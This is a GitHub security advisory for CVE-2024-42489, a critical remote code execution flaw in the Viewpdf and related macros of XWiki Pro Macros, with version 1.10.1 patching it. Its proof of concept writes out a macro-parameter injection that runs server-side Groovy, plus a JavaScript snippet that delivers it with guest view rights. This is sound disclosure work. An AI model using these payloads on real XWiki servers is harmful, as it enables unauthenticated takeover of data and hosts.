Skip to content

Remote Code Execution via Viewpdf and similar macros

Critical
oanalavinia published GHSA-cfq3-q227-7j65 Aug 12, 2024

Package

maven com.xwiki.pro:xwiki-pro-macros (Maven)

Affected versions

>= 1.0

Patched versions

1.10.1

Description

Summary

Missing escaping in the Viewpdf macro allows any user with view right on the CKEditor.HTMLConverter page or edit or comment right on any page to perform remote code execution. Other macros like Viewppt are vulnerable to the same kind of attack.

Details

The issue is that the Viewpdf macro inserts the parameter without escaping in a context where XWiki syntax is executed: https://github.com/xwikisas/xwiki-pro-macros/blob/main/xwiki-pro-macros-ui/src/main/resources/Confluence/Macros/Viewpdf.xml#L265-L267

PoC

It is sufficient to use the Viewpdf macro with a "name" parameter like " /}}{{async}}{{groovy}}println("Hello from Groovy!"){{/groovy}} to execute any Groovy code on the server. This can also be done via the CKEditor.HTMLConverter, the following JavaScript snippet can be used on any page to demonstrate this from just view right:

(function (text) {
  const url = new URL(document.location);
  url.searchParams.append('sheet', 'CKEditor.HTMLConverter');
  url.searchParams.append('formToken', document.documentElement.dataset.xwikiFormToken);
  url.searchParams.append('toHTML', 'true');
  url.searchParams.append('text', text);
 document.location = url;
})('{{viewpdf name="~"/}}{{async}}{{groovy}}services.logging.getLogger(/attacker/).error(/Hello from Groovy!/){{/groovy}}{{/async}}" /}}');

If an error message "Hello from Groovy" appears in XWiki's log, the installation is vulnerable. Note that this doesn't require any user account, standard guest view rights are enough.

Impact

Remote code execution allows accessing and modifying all data that is stored in the XWiki instance and possibly accessing the server on which XWiki is running. This affects the confidentiality, integrity and availability of the whole XWiki installation and all data in the wiki.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2024-42489

Weaknesses

No CWEs

Credits